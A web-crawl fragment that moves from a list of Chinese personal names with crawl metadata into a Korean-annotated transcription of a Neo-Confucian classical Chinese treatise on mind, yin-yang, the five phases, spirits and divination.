杨 静 汪家娟 沈义星 沈凤珠 沈长生 沈亚伟 沈亚伟 沈桂芳 沈新玉 沈筱婵 沈慧贞 花有玉 苏贵华 苏肇息 贡沁燕 邱作仁 邱国璜 邱隆翔 邵菊梅 邹玉清 闵秀娟 陆幼琴 陆兆年 陆廷葸 陆启源 陆国义 陆展华 陆起凤 陆菊芳 陈少霖 陈兰篮 陈必亮 陈汉钦 陈兴鹏 陈扣宝 陈伯英 陈佩贞 陈和德 陈国瑾 陈季秋 陈於弟 陈明珍 陈洁仁 陈培英 陈铭华 陈雪花 陈惠堂 陈缘因 陈辉光 陈瑞英 陈福贞 陈瑾琰 冼惠珍 周小琦 周石清 周吉良 周庆余 周丽君 周伯祥 周范民 周彩华 周琴官 周雯芳 周满祥 周福熙 周嘉陵 季培箴 林文荣 林杏莉 林章盛 林靖箕 林慧芳 林镇生 范方燮 范志文 范美君 范振厚 郁德敏 郎振为 郑义珊 郑文安 郑庆兰 郑 玢","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.lasardenas.com\/60032\/2560.html","date":"2020-02-27T05:17:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146647.82\/warc\/CC-MAIN-20200227033058-20200227063058-00222.warc.gz","language":"lzh","language_score":0.4387377799,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.43873777985572815, \"cmn_Hani_score\": 0.40659502148628235, \"nan_Hani_score\": 0.1239454448223114, \"wuu_Hani_score\": 0.026938002556562424}","num_words":4508,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.273,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.445,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"이 번역문은 원문과 다른 저작권의 적용을 받습니다. 원문과 번역문의 저작권은 다음과 같습니다.\n1 相授心法은 允執厥中이니라。\n2 中也者는 天命之性이라。萬理-具備하여 天變萬化-皆從此出하나니、乃天下之大本 而 爲道之體하고、\n3 和也者는 卽率性之謂라。四達不悖하여 天下古今이 皆由此出하나니、天下之達道而爲道之用이니라。\n2 夫道之體用이 不外乎 吾之性情이언마는\n2 人以知己之有性이나 而不知其出於天하고\n3 人以知事之有道나 而不知其由於性하나니\n4 萬物이 各具一性하여、所以萬殊者- 一本也라。\n5 天下萬物이 雖有萬殊나 其理則一이니 惟吾心之一理 以貫通乎天下事物하여、夫事物이 萬殊而有不齊者로되 各得其理也니라。\n6 學者-潛心於聖人之業하여 宜於此求焉하라。\n3 聖人之心이 未感於物也則 其體-廣大虛明하여 絶無毫髮偏倚하나니、所謂天下之大本也오。\n2 聖人之心이 感於物也則 喜努哀樂을 各隨所感而應之하여、無一不中節者하나니、所謂天下之達道也니라。\n4 以其本體而言之면\n2 如鏡之 未有所照則 虛而己오。如衡之 未有所加則 平而已며、\n3 至 言其用則 以其至虛而好醜-無所遁其形이오。以其至平而輕重이 不能違其則이니、此所謂、中和而 天地位 萬物育이라。雖天下之大라도 不外乎 吾心造化之中이니라。\n5 心者는 神明之舍所니 所以交於 神明之本이니라。\n2 夫事神之道-必在於敬하나니 敬則 此心收斂이 無所私曲而能直하고 直則 此心이 虛明하여 無所雜亂而能淸하여 然後에 能通神明하나니、學者-誠能虛心이 以體天下之物則 精義妙道-莫不昭然而 接於吾之心目하리니、然後에 眞知其道器之調合而 顯微之無間也니라。\n6 寶鑑은 照與不照에 明未嘗息이오。洪鍾은 叩與不叩에 鳴未嘗已니\n2 天用雨露之薄則 必有萬方之怨이오。\n3 地用水土之薄則 必有萬物之怨이오。\n4 人用德化之薄則 必有萬事之怨이며、\n5 衆陰之中에 一陽이 始生하면 天地之心을 可見이오。\n6 衆惡之中에 一善이 始生하면 聖人之心을 可見이니\n7 天用 地用 人用을 統在於心이니라。\n7 性者는 乃天命之全體요。人心之至正이니 所謂體用이니라。\n2 體는 所以立이니 心之誠이 爲本이라。虛靈은 心之體오。用은 以行이니 道之行이 爲用이라。智覺은 心之用이니라。\n8 靈者는 體之存이니、其體-謂之道라 道之用을 不可窮이오。\n2 智者는 用之發이니、其用이 謂之神이라 神之用을 不可測이며\n9 寂者는 感之體니 其體-甚微하여 理無不明하고、\n2 感者는 寂之用이니、其用이 甚顯하여 誠無不格하나니 物無不備니라。\n3 誠者는 自誠也니、造化-有造化用하고 用無不致라。\n4 道者는 自道也니 人事-有人事用이라。\n5 心外無理하고 理外無事하여、一心之理-盡貫衆理하나니、學者-進德修業에 必以 天地聖人으로 爲法焉하라。\n6 人者는 鬼神之會也니 人之虛靈智覺이 無異於鬼神하나니、人之始生은 精與氣而已라。\n7 精氣爲物하고、遊魂爲變하나니、陰精陽氣聚而成物이니라。\n10장[편집]\n10 魂遊魄降하여、散而成變하나니、\n2 精氣者는 自無而有라。自無而有는 神之情也오。\n3 游魂者는 自有而無라。自有而無는 鬼之情也라。\n4 自無而有故로 顯而爲物하나니、神之狀也오。\n5 自有而無故로 隱而爲變하나니 鬼之狀也라。\n11장[편집]\n陰陽之精五行之氣氣聚爲精精聚爲物及其散也陰陽五行各歸其本魂陽反於天魄陰反於地\n11 陰陽之精과 五行之氣-氣聚爲精精聚爲物 及其散也하여 陰陽五行이 各歸其本하나니 魂은 陽이라。反於天하고、魄은 陰이라。反於地하느니라。\n12장[편집]\n12 鬼神은 何爲而有狀이며、狀且無也며、何爲而有情고。\n2 曰、物者는 具是形者也라。魂止則物存하나니、遊者는 止之變이오。\n3 魂者는 使是形者也라。魂遊則物亡하나니 亡者는 存之變이니、觀其聚散則 鬼神之情狀을 可知也니라。\n4 精者는 魄也라。耳目之視聽이 爲魄하고\n5 氣者는 魂也라。口鼻之呼吸이 爲魂하니 二者合而成物하느니라\n6 魂也者는 神之感也오。魄也者는 鬼之感也라。合鬼與神이니 敎之至矣로다。\n7 死則謂魂魄하고 生則謂精氣하나니、天地間公共底鬼神이니라。\n13장[편집]\n13 五行이 一陰陽이오。陰陽이 一大極이니、未嘗離也라。\n2 水火金木이 待時而成은 水生於火故로 天下에 無相克之理니라。\n3 五行造化之初엔 一操一濕이라。\n4 濕之流-爲水하고、濕之融이 爲木하며、操之爍이 爲火하고、操之凝이 爲金하며、其融結이 爲土니라。\n5 自輕淸重濁은 先天五行之體오。四時主相生하고 六腑主相克은 后天五行之用이니、\n6 其體-對立하고、其用이 循環하여、\n14장[편집]\n14 五行之質이 存於人身하야는 爲肝肺心脾腎하고、\n2 五行之神이 捨於人心하여는 爲仁義禮智信하니、\n3 質者는 其粗也오。神者는 其精也니라。\n4 五行에 有五事는 貌言視聽思니、\n5 貌-光澤故로 屬水하고、言은 發於氣故고 屬火하고、金聲이 淸亮故로 聽屬金하고、眼은 主肝故로 屬木하니、四者는 皆原於思하여 亦猶水火金木이 皆出於土니라。\n6 五行은 以土爲主하고 五倫은 以信爲主 五事는 以思爲主니라。\n15장[편집]\n15 土居中央일새。心亦虛中 而居中央하나니 天地之中央은 心也라。故로 東西南北이 身依於心이니라。\n2 思者는 動魂이오。智者는 靜魄이니、思者는 心之用이라。謀度其事에 人物이 始生하나니、\n16장[편집]\n16 精之凝而爲貌와 精之顯而爲視와 氣之出而爲言과 精之藏而爲聽이니 其主宰-爲思니라。\n2 精濕而氣操하고 精實而氣虛하고 精沈而其浮하나니 故로 精爲貌而 氣爲言이니\n3 精之盛者-濕之極故로 爲木爲肝爲視하고、\n4 氣之盛者-操之極故로 爲金爲肺爲聽이라。\n5 貌與視-屬精故로 精衰而目暗하고、\n6 言與聽이 屬氣故로 氣衰而耳聾하니、此理-曉然者也니라。\n7 精衰則 氣衰하고 精盛則氣盛하여 無間隔也어늘、\n8 醫書에 所屬而疑之則 不知變之論也라。\n9 恭屬水는 水有細潤意思일새오。貌屬金은 金有精密意思일새니、\n10 人之擧動도 亦欲細潤하며 人之爲謀-亦貴精密이라。\n17장[편집]\n17 鬼神之實이 不越乎 陰陽兩端而已니\n2 大哉라 天地之運이여 日往月來-爲夜하고、月往日來-爲晝하나니、熟測其所以然哉아 曰道也니라。\n3 聖人은 乃能通而知者也라。\n18장[편집]\n18 往者는 屈也오。來者는 伸也니 晝夜者는 一日之屈伸이오。死生者는 一世之屈伸이며、寒暑者는 一歲之屈伸이오。古今者는 萬世之屈伸이니、\n2 聖人이 何以通而知之오。用易일새니라。\n3 通乎 晝夜之道하면 知其死生之道하나니\n4 知生之道則 知死之道하고 盡事人之道則 盡事鬼之道라。死生人鬼는 一而二오。二而一者也니라。\n5 冬寒夏暑者는 陰陽也며 所以運動變化者는 神也라。\n6 神은 無方이오。易은 無體이니\n7 卽所謂天地鬼神幽明生死가 曰 陰陽也니라。\n19장[편집]\n19 乾坤은 定於天地하고 剛柔-繼於動靜하고 貴賤은 陣於尊貴하고 吉凶이 生於事物하나니 變化-現於形體하나니 皆非聖人之爲也오 天地判에 陰陽之來-本自有之일새 聖人이 準之하여 以爲敎爾니 學貴於自得也니라。\n2 天地所以爲天者-不外乎 陰陽五行이니、\n3 天地도 一物이오。陰陽도 一物이라。物之來-遠自八荒之上하고 深自六極之下하니 吾能知之호라 天地之鑑也에 萬事之照也니라。\n20장[편집]\n20 所謂至精至微處니 極深則至精하고 硏幾則至微라。至精至微일새、至神이오。惟深惟幾일새 惟神이니 深者-能通天下之志하고 幾者-能成天下之務니라。\n2 天地-定位에 易在其中者는 神也니라。\n3 何不言人行乎其中고 蓋人亦物也니 若神行乎其中則 人於鬼神上求之矣리라。\n4 不疾而速하며 不行而至는 何爲也오。曰、心之神이니라。\n21장[편집]\n21 聖人之神은 果何物也오。曰、心之精也니라。曰、心惟能神否아。曰、物理-有之하니 銅山이 東傾에 洛鍾이 西應하고、人氣-亦有之하니 其母-□指에 其子-應之니라。\n2 五行者는 天地所生이니 以養乎人者也라。其氣-運乎天호되 不息하고 其才-運用乎於世호대 不匱하하나니 其理-賦於人에 爲五倫이라。以天道로 言之면 莫大於此니 故로 九疇之首에 五事者는 天之所賦而具於人者也라。\n3 貌之恭 言之從 視之明 聽之聰 思之叡는 皆形色中 天性之本然也니\n22장[편집]\n22 必以敬用則 能保其本然之性也오。不以敬用則 身必慢하며、言必悖하며 視聽則婚且窒하고 思慮則 粗且淺하여 而本然之性이 喪矣라。\n2 五者는 治心之要니 以人事言之면 莫切於此라。故로 五行之次는 水火金木이 待時而成하나니 水生於火인 故로 天下는 無相克之理라。仁義禮智信五者는 修身立道之本이오。齊家治國之本이오。爲學之本이니라。\n3 鬼謀는 本陰陽五行之氣하고 人謀는 本陰陽五行之理니\n23장[편집]\n23 易者는 開物成務하나니 冒天下之道하니 如斯已而니라。\n2 推而極於天地之大하고 反而驗於心術之微하면\n其一動一靜은 循環終始而已니라.\n3 易에 曰、天生神物에 聖人이 則之하고、天地變化를 聖人이 效之하고、河圖洛書를 聖人이 則之라 하니\n24장[편집]\n24 通於天者-河也일새。龍馬-負圖而出하고 中於地者-洛也일새 神龜-載書而出하며 聖人之德이 上配天일새 而天 降其祥하시고 聖人之德이下及地일새 而地-呈其祥이니라。\n2 聖人이 見禽獸之文하여 始劃八卦하고 感通神明之德하여 以類萬物之精하며 神龜所負之文이 背上에 列於數일새 聖人이 通見其數하여 爲九疇하여 入萬世爲治之法하니\n3 河圖洛書-相爲經緯하고 八卦九宮이 相爲表裡하며 一二三四는 皆經常之疇니 法天以治乎人하고、六七八九는 皆權變之疇니 法人以驗乎天하며\n25장[편집]\n25 天地者는 陰陽對待之定體니 伏羲八卦의方位는 造化對待體오。文王八卦의 方位는 造化流行用이라。\n2 對待-非流行이면 不能變化오 流行이 非對待면 不能自行이며\n3 神明之德이 不外乎健順動止八者之德하고 萬物之情이 不止乎天地雷風八物之情이니\n4 神明之德은 不可見者也니 故로 曰 通이오。萬物之情은 亦可見者也니라 故로 曰 類라。\n26장[편집]\n26 卦之象을 反而求之하면 不外乎 吾身之外하여 精可以通神明之德이오 粗可以類萬物之情이니\n2 精之爲道德性命과고 粗之爲形色聲容이며 內之爲視聽言動과 外之爲君臣父子며 大而至於手足과 微而至於爪髮이 皆不外乎八卦니라。\n3 八卦는 何物也오。曰 太極也니라。太極은 何物也오。曰 至正至中의 不偏不倚니 道之大原也니라。\n4 人이 徒知七尺軀-載天履地 飢食渴飮與進化而已오。天地之間 日月運轉의 消息盈虛 往來屈伸之中에 熟知自頂至踵히 天之-與我者-有如是至精至妙 至廣至大之理-是-吾身也오。\n5 大而天地며 微而昆蟲草木과 幽而鬼神之理며 明可而事物之跡에 明可以謀諸人이며 幽可以謀鬼神이니\n6 上極天地之始하며 下極天地之終타가 吾能反身而誠하여 默而誠之하고 不言而信之則 大足以參天地오、微足以育庶物하고 幽務愧於鬼神하며 明無作於人民하여 與天地相爲終始則 所謂 萬世之明鑑이라。\n27장[편집]\n26 天地-有變化之理하고 聖人이 有能變之道하나니 天地-定位하면 聖人은 可以成天地之能어오 聖人은 成天地所不能成이니라。\n2 明可以酬酌事物之宜하고 幽可以贊出 鬼神之命하여 遠宗其道則凡事-不在其道之外하고 近守其法則 凡事-皆寓其法之中이니라。\n28장[편집]\n28 聖人之道-有四焉하니 所謂變化也라。聖人所劃之卦로 作卜筮之法하니\n2 言者는 心中有意之辭오。制器者는 其事-著於象이오。卜筮者는 其事-吉凶占이오。動者는 其事有變化니라。\n29장[편집]\n29 卜筮者는 天所示人也라。人事盡而可以求於天命하나니 備是德者는 伏羲-是也니라。\n2 聖人이 懼後世-不能知之일까하여 於是에 繫之辭하여 以告之하고 定其辭하야 以斷之하니\n3 曰 示則使人有所見이오。曰 告則使人有所知오。曰 斷則使人無所疑라 하니라。\n4 易有聖人之道-四焉이니 指其所志者-易之辭니라。\n5 圖書則日月星辰의 循環始終之度요。卜筮則金木水火의 生成制克之數니라。。\n6 蓋 天地所以爲造化者는 陰陽五行而已니 聖人도 不能違也니라。\n7 天地-以其氣生物 而理行乎其中하고 聖人이 以其理治人而氣參乎其上하나니 是以로 明於天地之道하여 以敎人民이니라。\n30장[편집]\n30 卜筮之事를 聖人이 未嘗不敬信之하여 以明鬼神之德이니 聖人이 雖一時一事라도 無不敬卜筮니라。\n2 天이 擇 建立卜筮之人하나니 非其人이면 不專이오。非其人이면 不可라。必得其人然後에사 乃命卜筮하여 以定天下之吉凶하나니라。\n3 八卦- 定吉凶하고 吉凶이 生大業하나니\n4 先天圖落筆之初에 陽劃이 在右하고 陰劃이 在左하여 二劃이 分左右에로 以成行列하여 而爲一符하니라。\n5 劃不立則 乾坤이 息而變化-不行하나니 陰陽二氣-交相雜居而成文이라。通書以妙用을 謂之神이니 鬼神者는 造化陰陽之氣오。誠敬者는 造化陰陽之理니라。\n31장[편집]\n31 道者는 本然者也오。變化者는 所乘之機也라。陰陽二氣-合而成文하나니 經天緯地-是一橫一直이라。一劃一點이 皆是文理故로 謂之文이라。\n2 文而質爲主하여 裁成天地之道하고 質以文爲輔하여 輔相天地之宜하나니 便是經天緯地의 道德文이니라。\n3 日月星辰은 天地文이니 列于上하고 金木水火는 地之文이니 陣于下하나니 聖人이 處於其間하여 裁成輔相하여 以爲用之호대 精之約之하여 釋一字致之니라。\n32장[편집]\n32 約之則存養之功이 益密하나니 思慮者는 存養之功이오。精之則 省察之功이 益嚴하나니 恐懼者는 省察之功이라。約之精之하여 其守不失則 所以應物之處-無所差違니 所謂中和也니라。\n2 誠能自强立志則 氣亦從之하여 不至於昏하나니、玩理養心則 志不昏하고 志以神氣則 氣不昏하고、氣不昏則 有受政之地하여 聖人之敎를 可得而成矣니라。\n33장[편집]\n33 統以言之하면 經與權而已니 經者는 道之常이오。權者는 道之變이니。學者-雖一劃一點이라도 居常盡乎天之理하여 動靜이 合乎天地道則 天必佑之니라。\n2 天下許多道理-皆包藏於卜筮中하니 六劃成卦에 六位-成章하여 天地-設位하면 易在其中하나니 惟禍福之機也니라。\n3 以筆言으로 記者-非一人의 點劃이라。音聲之文이 各有定法하여 四方이 如一卜筮하나니 能應鬼神호대 如祭祀에 能享鬼神이니라。\n3 鬼神之理-在彼我하여 以此理而行之故로 享應하나니 陰陽之道德이 依於 吾心全德之仁則 頃刻에 周流天地하나니리라。\n34장[편집]\n34 凡 草木禽獸蟲魚微物이 無不有陰陽之理하나니\n2 聖人之心이 細推鳥獸羽毛之微니라。\n3 天産之物은 飛者陽 走者陰이며 木者陽 草者陰이며\n4 鯉魚背上에 有三十六鱗하니 陰數오。神龍背上에 有八十一鱗하니 陽數라。\n5 鳥獸之文이 謂之文이니 禽獸는 大道術이니라。\n35장[편집]\n35 一物之理와 一人之氣가 相爲符同하여 不疾二速하며 不行而至하나니 況聖人之心神乎아。亦集其自家精神則 彼之精神이 亦集於天文地理하고 某物은 於草木禽獸하며 某物은 於身於物에 爲某物하여 各以例擧之하면 不盡言이니라。\n2 學者는 觸物에 求之하면 衆物之中에 各有衆像하여 可執之物이 爲柄하나니 柄者는 生物之權이라。地有形而可執故로 爲柄이니라。\n3 在天成像에 乾主氣故로 成像하나니 像者는 法之未定이오。在地成形에 坤主形故로 效法하나니 法者는 像之已形이니라。\n4 變化流行이라도 非形像이면 無以見故로 因形像而變化之跡을 可見이니 人이 順理而成功하면 乃贊天地之化育하리라。\n5 人在天地之間에 只是一理나 然이나 天人所爲-各自有分하나니 天能生物이언마는 耕必用人이오 水能潤物이언마는 灌必用人이오 火能燁物이언마는 爨必用人이라 裁成輔相을 皆人이니 非贊而何오。\n36장[편집]\n36 存心則一念이 全萬理하고 致知則萬事를 當理會니라。\n2 理以本然者故로 性曰天德이오。命曰天理나 亦一而已오 非二物也라。如此則 氣之偏者-變而正하며 柔者-變而剛하며 昏者-變而明하며 其不變者-生死壽夭-有定數也니라。\n3 心猶鏡하니 仁者는 人心之全體오。仁猶鏡之明하니 鏡本明이언마는 彼塵垢之一蔽하면 遂不明矣니라。\n4 仁與心이 本是一物이언마는 彼私慾一隔하면 心違하여 却爲二物이니 若私慾이 旣無則 心與仁이 相會하야 合成一物矣니라。\n5 聖人이 以陰陽之道로 盡洗其憂世之心하고면 望天下-爲君子니라。\n37장[편집]\n37 古人이 淳質하여 初無文義故로 以卜筮劃卦爻하여 以開物成務하니라。\n2 繫辭에 自大衍以下로 皆卜筮之事라를 開示吉凶하니 冒天下之道라。\n3 推而上通 鬼神之德하여 精及於無形하고 下察事物之理하여粗及於有像하나니 像者는 模得其物之形이 謂之像이오。辭者는 各指其所爲하여 敲天下之動하나니 存乎辭오 卜者는 因其事而發明이라 하니라。\n4 劃卦布爻하야 以觀神明하나니 其德之事라 觀其象호대 觀其變하야 捨逆取順하고 玩其辭호대 玩其占하여 避凶趨吉이니라。\n38장[편집]\n38 萬物之體- 卽鬼神之德이니 所謂體物不可遺라 運禍福之機也니라。\n2 鬼神者는 天理之至也 知天理之至所以不惑\n3 聖人者 人道之至也 知人道之至면 所以不疑\n4 鬼神은 便是天地之功用이라。人於良能功用上에 認取其德하나니 鬼神의 生長斂藏之事를 是熟使之오 曰道也라。然이나 其性情이 如此也니라。\n5 鬼神之氣- 入於寸分毫釐 絲忽之中하여 以觀消息盈虛之變과 出入進退之理하나니 變化之道-莫非神之所爲也니라。故로 知變化之道則 知鬼神之所爲也니라。\n6 變者는 不能自變이라 有神而變이오 化者-不能自化라 有神而化하나니、明於天地之道하고 察於民之故하면 天人者는 合也니라。\n39장[편집]\n39 天地所助者는 順也오。人之所助者는 信也니 德積則 行必有方하고 物積則 散必有道하며 道心이 微者는 天理之奧也오。人心之危는 人慾之萌也니 道心은 是-義理上見이오。人心은 是-事物上見이니라。\n2 一心篤行則 日用之間에 由念慮之微하여 以達于事乃著하나니 必能去私取義하며 從是舍非하여 不使一毫人欲之私則 天理-光明正大리니 人之行事-與天地로 相爲流通이니라。\n3 道在天하고 行在人하니 行有善惡氣하여 各以類應之라 德各有方하고 氣各有像하여 自五行으로 以至庶徵이 皆得其道則 協氣成像하나니 人蒙休祥하면 五福이 應之하고 失其道則 乖氣成像하나니 人罹災殃하면 六極이 應之니라。\n4 惡充者는 成罪하고 善充者는 成功하나니 得失이 在於身하여 一德이 修則 凡德이 必修할 休咎-應於天하여 一氣和則 凡氣-必和니라。\n40장[편집]\n40 君實造命者也니 民侖禽雖稟于天이나 君實造命이니라。\n2 休咎-徵於天하고 禍福이 加於人하나니 福極을 通天下人民이 言之언 마는 人主는 不以一身으로 爲福極而 以天下人民으로 爲福極이니라。\n41장[편집]\n41 天命之謂性이니 生物이 得來에 方始命曰性이오。天以陰陽五行으로 化生萬物하고 理亦賦焉하니 曰 命이라。\n2 萬物이 各受所賦之理 曰 性이니 此道-在我하여 無不本於天故로 道之大源이 出於天이라니 性也理也-一而已矣니라。\n3 天能與人 以耳目口鼻之形이시언마는 而不能使之 無飢餓凍餒之患이시며 天能賦人 以仁義禮智之性이시언마는 而不能使之 無氣稟物欲之蔽이실재\n4 萬物이 各具其性에 氣稟이 不同이라 故로 其性所近者를 窺之하나니 近者-非親近之近이오。其性所近之近이라。\n5 性命之理-繼于氣하나니 自古로 性字를 謂五行之生也니 各一其性故이라 古로 五性이 具焉이니라。\n42장[편집]\n42 五性이 感動而後에 善惡이 分하나니 萬事出此則 其中에 七情이 生焉이니라。\n2 性中에 有仁義禮智信하니 性者는 禮之本이오。仁者는 人之生理라。人若不仁則 自絶生理니라。\n3 仁義禮智-存心則 叡治天下之本이니 仁者는 人心之全體며 仁者는 政之本이오。身者는 人之本이오。心者는 身之本이라 萬物成時에 各成一仁이니라。\n4 仁者義者-與鬼者로 待對하나니 發於心而自盡則 爲仁이라。仁者는 用之跡이오。驗於理而無違則 爲信이니 用者는 仁之心이니라。\n5 仁如天之崇故로 所知-日就於高明而德益大하고 禮如地之卑故로 所行이 日進於平實而業益廣하나니 治天下之道-不在多端이오。在致敬之間而已니라。\n43장[편집]\n43 繼善은 陽也오。成性은 陰也니 此는 以天命之序而 言陰陽也오 仁者는 陽也오。智者는 陰也니 此는 以物受之性而 言陰陽也라。\n2 陽之所以爲陽者는 皆動而無體오 陰之所以爲陰者는 皆靜而有體하니 通陰陽爲一道오 合天地爲一理라。幽明一理나 幽爲難知오。神人一道나 神爲難格이니라。\n3 通於幽 感於神則 治人이 何難有之리오。心猶活物하여 고獨以動物이니라。\n44장[편집]\n44 玄玄妙妙는 至道之精이오。昏昏默默은 至道之極이니 學者-從容涵養하여 至於日深月熟則 忽有不期而自來라 力行則 積累之功이 化生自然無跡之妙也리니。德至而福自應하리니 皆天意所在也니라。\n2 天之生物이 必因本然하나니 栽者는 根本이 純固하고 傾者는 根本이 搖動이라。培養覆敗之數는 天이 非有私意於其間이오。因其物하여 自取其本也니라。\n3 如人之病하여 若有生氣則 藥氣-依附而滋生하고 若有死氣則 藥氣 流散而危殆하나니 天下之治亂이 都在於吾身之得失矣니라。\n45장[편집]\n45 鬼神의 往來屈伸은 其德이 是天命之實理니 天地之理-盡於鬼神이니라。君子-窮神盡力於天道하면 天理-油然作雲하여 沛然下雨하느니라。一誠終始하면 流行萬物之中하나니\n2 無誠則無物이오。有誠則有物이라 至誠不息則 生物之多-莫知其所以然也라。至誠物用則 所以配天地라。久則有驗이니라。\n3 千古以上과 萬里之外- 一心所通焉이라 如木之千枝萬葉이 都是生氣의 流注貫通이니라。\n46장[편집]\n46 德行於道하고 道得於心則 有日新之功이라。恭主一身하고 誠主一心하나니 感者는 自己之道니라。\n2 夫性者는 萬物之一源이니 指用出於體하고 指體出於用이니라。\n3 根於天理自然을 謂之仁이요。形於人心至愛를 謂之孝며 眞實無妄을 謂之誠이오 主一無適을 謂之敬이니라。\n4 聖人之心은 所謂天且不違니 至誠은 指大經大本之質理오 至聖은 指發用神妙之眞理니라。\n5 禮者는 理也라。理必有其實然後에 有其文하나니 文者는 所以文其實也니라。天地之節文과 人事之儀則이니라。\n6 事死亡如生存曰誠이라。凡祭祀-皆然하여 而交神明者는 愈遠則 其心이 愈篤하나니 報本追遠之心이 盡則 仁孝誠敬之至矣니라。\n7 此心을 久於事物之理則 何所不明이며 吾心之誠이 何所不格哉아。\n47장[편집]\n47 天者는 理也라。昭昭之天이 合人心之天하나니 理原於天하여 具於人心이라。若逆理則 自欺此心之天이니 此欺在天之天일새라。禍非自外而來하여 罪及其身이니라。\n2 好德之人은 心所同然이니 同德相應則 天理-自然合矣라。德者는 人心之公理니。必有同德相從하여 如居之有隣也니라。\n3 範圍天地하야 一念不喩時則 經緯萬方하여 雖天下之大라도 德乃可動이니리라。\n4 欲知廣大則 於天地에 觀之오 欲知變通則、於四時에 觀之오 欲知陰陽則 於日月에 觀之오 欲知功德則 於聖人에 觀之니라。\n48장[편집]\n48 富有者-大業이오。日新者-盛德이라。生物無窮이 天地之大業이오。運行不息이 天之盛德이며 功及萬世-聖人之大業이오 終始日新이 聖人之盛德이니 富有者는 無物不有 而無一毫之虧欠이오。日新者는 無時不有而 無一息之間斷이니라。\n2 藏之而愈有하며 顯之而愈新하나니 出者는 自內而外故로 往也오。入者는 自外而內故로 來也니 今日에 覆算昨日之故는 數往者니 順하고 今日에 逆計來日之故는 知來者니 逆이니라。\n3 陰陽의 一分一合進退之中에 造化無窮之妙也라。日者는 管領萬物하고 運行不息이새 生生不已하나 天地也-聖人也-一而已矣니라。\n有是時有是才必有時才可以濟世之才與時會合則足以成務知天之可畏必擇人居之知事之可畏必兢業圖之\n4 有是時有是才하나니 必有時才면 可以濟世之才라。與時會合則 足以成務니리라。\n49장[편집]\n49 人與天地一體요。身與手足一體니 人이 與天地로 不相通하면 心不通하고 身이 與手足으로 不相通하면 氣不通하나니 手足不仁을 謂之病이라 仁者는 人之生理니라。\n2 天地-與我同心이라。人得天地之心하여 爲心이니 卽謂之仁而善之本이니라。善者는 天地-與萬物之理오。仁者는 天地生生 萬物之心이니\n3 安土敦仁者는 其德이 廣大하여 其愛-自廣이라。敦仁者는 不失其天地生物之心하나니 敦是仁體오 愛是及物處라 仁者는 愛之理오。愛者는 仁之用이니 相爲表裡니라。\n50장[편집]\n50 仁者-在己則 何憂之有리오。若不在己하여 逐物在外則 皆憂라。知命者는 知有命而信하나니 如天命故로 無憂하니 其知-益深하여 隨處皆安일새니라。\n天地之間至大至廣者也天地至變者四時至精者日月至善者至德\n2 大者는 無不統也오。廣者는 無不承也니 天地之間은 至大至廣者也라。天地는[至變者四時。至精者日月] 至善者이시니 至德이시니라。\n聖人所以極乎上者至嚴至密所以接乎下者至寬至廣雖彼之所以化於此者淺深遲涑其效或有不同吾之\n3 至善은 是-當行之理오。至德은 是-自家所得者也니라。聖人이 所以極乎上者-至嚴至密 所以接乎下者-至寬至廣 雖彼之所以化於此者-淺深遲涑하여 其效-或有不同이언마는 吾之所以應於彼者를 長養涵育하면 其心이 或未嘗不一이리니 存而不失이 便是道義之門이라 此-生生不已處니라。\n51장[편집]\n51 聖人之言이 明其道 知其理而 無窮故로 樂而玩하나니 天下許多道理-都 在聖人口頭라 開口에 道理之門이니 擧古之聖人之言하여 以敎人이니라。\n2 天地-生萬物而 而先言人者는 天地之性에人爲最貴하여 萬物이 皆備於人일새니라。\n52장[편집]\n52 乾爲天也니 爲陰之父하고 坤爲地也니 爲陽之母라。萬物이 分天地하고 男女-分萬物하나니 察乎此則 天地-與我幷生하고 萬物이與我同體니라。\n2 是故로 聖人이 親其親하고 長其長而天下-平이라 雖一草木一禽獸라도 非其時殺伐者를 謂之不孝니 蓋物有雌雄 牝牡之異則 父母男女之像이라 其生也-皆有先候次序之異則 長中老少之像이라。天地之性이 人爲最貴故로 以人言之分別耳니라。\n3 一陰一陽이 此-天地生生之理니 大哉라 乾元이여 萬物이 資始하나니 乃繼之者-善하고 坤道變化하여 各正性命하나니 成之者-性이라。繼之善은 元亨이니 是氣-方行而未著事物하고 成之性은 利貞이니 是氣-稟受而結成物事니라。\n53장[편집]\n53 身敎於天下하나니 身敎者는 示以窮行踐履之實이오 言敎於天下하나니 言敎者는 使其歌誦吟詠之得이라。二者를 不可偏廢니 以物求理而 常玩物理하여 以養性하라。\n2 悠久는 猶人之元氣하고 博厚는 猶人之形體하니、植德하여 務其慈息하고 去惡하여 絶其根本이니라。\n3 學者-於此에 有以不失其 先後之와 其經重之倫焉則 本末兼存하며 內外交養하여 日用之間에 無所間隔而從容하라 涵育하면 忽有不期而自來하리니 學者之功夫-皆在其中이니라。\n4 德盛仁熟하여 從容中道然後에 有不期而自來하리니 此는 非始學之事니라。子房之從用하고 孔明之正大는。事之從容도 自我由之오。事之紛亂도 自我由之니라。\n54장[편집]\n54 陰陽의 成象은 天道之所以立也니 陰陽은 氣也오。剛柔의 成質은 地道之所以立也니 剛柔는 質也오。仁義의 成德은 人道之所以立也니 仁義는 理也라。\n2 道는 一而已니 隨時著見하니라。故로 有三才之別而其中에 各有體用之分焉이나 其實則一太極也니라。\n55장[편집]\n55 五行은 是發源處오 五事는 是持操處오 八政은 是修人事오 五紀는 是順天道라 都是人君身上이니 不過敬用五事而已니라。\n2 此則 自强於暗察하며 致力於謹獨하여 使之無一息間斷則 天下平之意니 以此觀之면 人君之所任이 豈不重哉아。\n3 致敬則人與鬼神이 二而一이오。不敬則人與鬼神이 一而二라。人之於鬼神에 自當敬之니 若見得道理分明則 須著也니라。\n4 又如卜筮는 自伏羲堯舜以來로 皆用之하니 是有此理也라。人若於事有疑則 敬而卜筮로 決之니 聖人이 雖一時一事라도 無不敬卜筮러니라。\n56장[편집]\n56 聖人이 有功於天下萬世니 上之天文과 下之地理와 中之人倫이며 衣服之原과 器用之利와 法度之章과 禮樂之則을 推明制作也오。\n2 聖人이 像八卦하여 爲治天下하되 南面而立은 取諸離니 離는 陽明卦라。萬物이 相이 見於離故로 其像이 大人이니 取以繼明遍照四方하여 垂拱平章하니 豈不美哉아。\n3 天生聖人하사 以任斯道也에 